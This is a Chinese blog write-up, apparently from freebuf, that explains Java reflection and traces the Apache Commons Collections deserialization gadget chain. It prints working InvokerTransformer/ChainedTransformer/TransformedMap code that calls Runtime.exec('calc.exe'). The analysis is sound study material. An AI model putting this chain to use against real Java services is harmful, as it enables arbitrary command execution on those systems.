0x01 前言
本文源自看到酒仙桥的文章之后引起的一些思考。
反射类的作用:
运行时分析类的能力
运行时查看对象
实现通用数组的操作代码
利用Method对象
这篇文章总的指导思想图:
Java运行期间会为所有的对象维护一个运行时的类型标识,这个信息跟踪
着每个对象所属的类。虚拟机利用运行时类型信息选择相应的方法执行,保存这些信息的类称为Class,Object类中的getClass()方法会返回一个Class类型的实例。
设:Emplyee为一个用户自建类
其中测试代码如下:
Employee e;
Class cl = e.getClass();
返回结果:class 包路径.Employee,getClass方法得到对象所属的包路径和类名。
Class cl = e.getClass().getName()
返回结果:包路径.Employee,getName方法得到对象所属的包路径和类名。
调用静态方法Class.forName(java.util.Random),可以获得类名对应的Class对象(并不是实例对象),如下程序所示:
String className = “java.util.Random”;
Class cl = Class.forName(className);
如果想要获得实例对象,那么需要进行newInstance操作,即下一行代码:
Object m = Class.forName(className).newInstance();
反射机制的主要内容,最重要的功能—检查类的结构
java.lang.reflect包中有三个类,如下:
Field:描述类的域
Method:描述类的方法
Constructor:描述类的构造器
以上三个类都有一个叫做getName的方法,用于返回项目的名称。
使用反射调用任意类
首先创建Method对象,比如使用Math类中的sqrt方法,代码如下:
Method f = Math.class.getMethod(“sqrt”,double.class);
getMethod方法第一个参数为方法名称,第二参数为参数类型.class,如果没有参数就不用写。
double y = (Double) f.invoke(null,x);
invoke方法为方法的使用,其中第一个参数为null,第二个参数数据类型正确的参数。
0x02 反射链的疑问和探索
看下酒仙桥的公众号中构造的反射链(上述内容可参见酒仙桥6号部队公众号):
Transformer类型的数组,那先看看这个这个Transformer接口是干啥的吧:
返回Object类型,那接下来重写一下它的transform方法
输出结果:
那么这个接口被哪几个类实现了?
ConstantTransformer,invokerTransformer,ChainedTransformer,TransformeredMap,InstantiateTransformer
ConstantTransformer探索
看ConstantTransformer类做了什么,翻他的源码:
测试代码为:
ConstantTransformer类的源码为:
如果new一个ConstantTransformer的实例的话,那么传入的constatToReturn就会变成final且private类型的iConstant的值(或者说是引用,毕竟传入的是对象)。
再看它的transform方法,啥也没干,虽然传入的是input但是input没有起作用啊。
看看它到底返回了啥,加一行代码
可以看到,返回了类对象。
invokerTransformer探索
同样的方法,探讨invokerTransformer,查看其源码,测试代码为:
在System输出语句处打个断点,进入transform看下源码,看其构造函数,发现对当所有invokerTransformer的参数进入构造方法之后,构造方法对其原先的变量进行了赋值操作:
在赋值完成之后,调用其transform方法,获得传入transform方法的类对象,
之后,得到最初传入的方法名称,方法参数,通过Class类的getMethod方法,得到getMethod的方法,对方法对象进行反射操作。
打个断点:
开始函数追踪,首先看到传入的参数
追踪到transformer中,追踪到input.getClass()
看到getClass()的值为:class java.lang.Class
接着看getMethod()得到的值:
最后反射返回的值为:
public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[])
分析一下下面三行代码的意思:
第一行代码,获取input对象的类对象(java.lang.Class)
第二行代码,通过传入方法名称和方法所需要的参数(getMethod,参数内容)
第三行代码,返回反射的对象(java.lang.Class.getMethod(“getMethod”,Object[]{“getRuntime”,null}))
(伪代码,勿当真)
官方文档对getMethod的解释如下:
首先看到,第一个参数为String类型,第二个参数为Class集 合
继续执行invoke方法,返回反射的对象
那么我们如何传入参数,如何进行构造,根据其构造函数进行构造
构造的语句如下:
InvokerTransformer tran = new InvokerTransformer(“getMethod”,new Class[]{String.class,Class[].class},new Object[]{“getRuntime”,null})
那么就可以返回一个Object的实例,相当于执行
Class cls = Runtime.class.getClass();
Method getmethod = cls.getMethod(“getMethod”,new Class[]{String.class,Class[].class});
Object method = getmethod.invoke(Runtime.class,new Object[]{“getRuntime”,null});
那么,为什么会返回java.lang.Reflect.Method的对象信息呢?
因为反射回的对象是getmethod.getMethod(“getRuntime”,null);,其对象的类型为Method类型
源码如下:
所以最后返回的是Method类型的对象,那么返回对象之后需要得到getRuntime的Runtime对象,所以需要再次进行反射,利用Invoke方法将getRuntime进行实例化。接着利用InvokerTransformer构造invoke方法
根据上面的构造Runtime方法,先看下invoke方法的参数要求
可以看到,第一个参数为对象,第二个参数为对象数组。
InvokerTransformer tran2 = new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime run = (Runtime) tran2.transform(method);
相当于执行了:
Method getruntime = (Method)Runtime.class.getClass().getMethod(“getMethod”,new Class[]{String.class,Class[].class}).invoke(Runtime.class,new Object[]{“getRuntime”,null});
Object runtime = getruntime.getClass().getMethod(“invoke”,new Class[]{Object.class,Object[].class}).invoke(getruntime,new Object[]{null,null});
再相当于执行了:
Class cls = getruntime.getClass();//值为java.lang.Method的类对象
Object ob = cls.getMethod(“invoke”,null).invoke(getRuntime,null);
相当于执行了:
Runtime getrun = getruntime.invoke();
getRuntime已经进行过invoke的操作,那么它就是Runtime的一个实例。
再构造exec方法
InvokerTransformer tran3 = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc.exe”});
tran3.transform(runtime);
相当于执行了:
Class cls = runtime.getClass();//值为Class java.lang.Runtime
Method method = cls.getMehod(“exec”,new Class{String.class});
Object getexec = method.invoke(runtime,”calc.exe”);
不多说,打断点
只有在这个getExec对象为Runtime对象的基础上,我们才可以进行exec的调用,因为exec方法存在与Runtime类中,最后返回的对象为下图所示对象,这样便完成了exec方法的调用。
上述为通过invokerTransformer(反射式转化)类的transform进行反射链的构造和执行,那么我们如何让它自动去执行呢?
ChainedTransformer探索
看另一个类ChainedTransformer(链式转化)
不多说,看源码:
首先看这个循环,可以知道,在构造函数的时候,已经把Transformers这个Transformer的数组的引用给了iTransformers。
看transform函数做的工作是调用数组中每个元素的transform方法,这就很清楚了,我们只需要把InvokerTransformer的前面的每一个InvokerTransformer或者ConstantTransformer作为ChainedTransformer的数组元素传入。
开始构造:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod”,new Class[]{String.class,Class[].class},new Object{“getRuntime”,null},
new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc.exe”})};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(Object.class);
chain.transform的参数无所谓,随便写一个.class就可以,反正可以被其构造方法覆盖。
不使用transform方法执行反射链
根据这位大佬所说的,我并没有找到setValue的方法。姑且按照他的思路来,参考链接:https://www.freebuf.com/news/150872.html
我没有找到setValue方法,倒是找到了后面的decorate方法和构造方法:
先构造代码,为什么这么构造,后面说
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map m = new HashMap();
m.put("key","value");
Map map = TransformedMap.decorate(m,null,chain);
Map.Entry entry = (Map.Entry)map.entrySet().iterator().next();
entry.setValue("value");
为什么这样写?追踪transformedMap方法
可以看到需要传入的参数为,map类型,Transformer 的key,Transformer的value
追踪decorate方法:
返回新的TransformerMap对象,接着看entry对象的工作
Map.Entry entry = (Entry) map.entrySet().iterator.next()
entrySet()把HashMap转化为集 合类型,iterator获得这个结合的迭代器,获得第一组键值对元素。
获得之后的最后一步才是重中之重
entry.setValue(“value”);
看看setValue方法具体是怎么执行的,首先会checkSetValue然后在checkSetValue的时候会调用valueTransformer(是上面传入ChainTransformer类型的chain变量)的transform方法,此时就相当于执行了chain.transform(“value”),而不管是value还是任意的其他值,对于ConstantTransformer这个类已经没有了任何价值,因为它根本没有被使用。ConstantTransformer.transform(“value”)执行完了之后才是各种的InvokerTransformer.transform。
来源:freebuf.com 2020-08-22 23:38:20 by: 水木逸轩con
请登录后发表评论
注册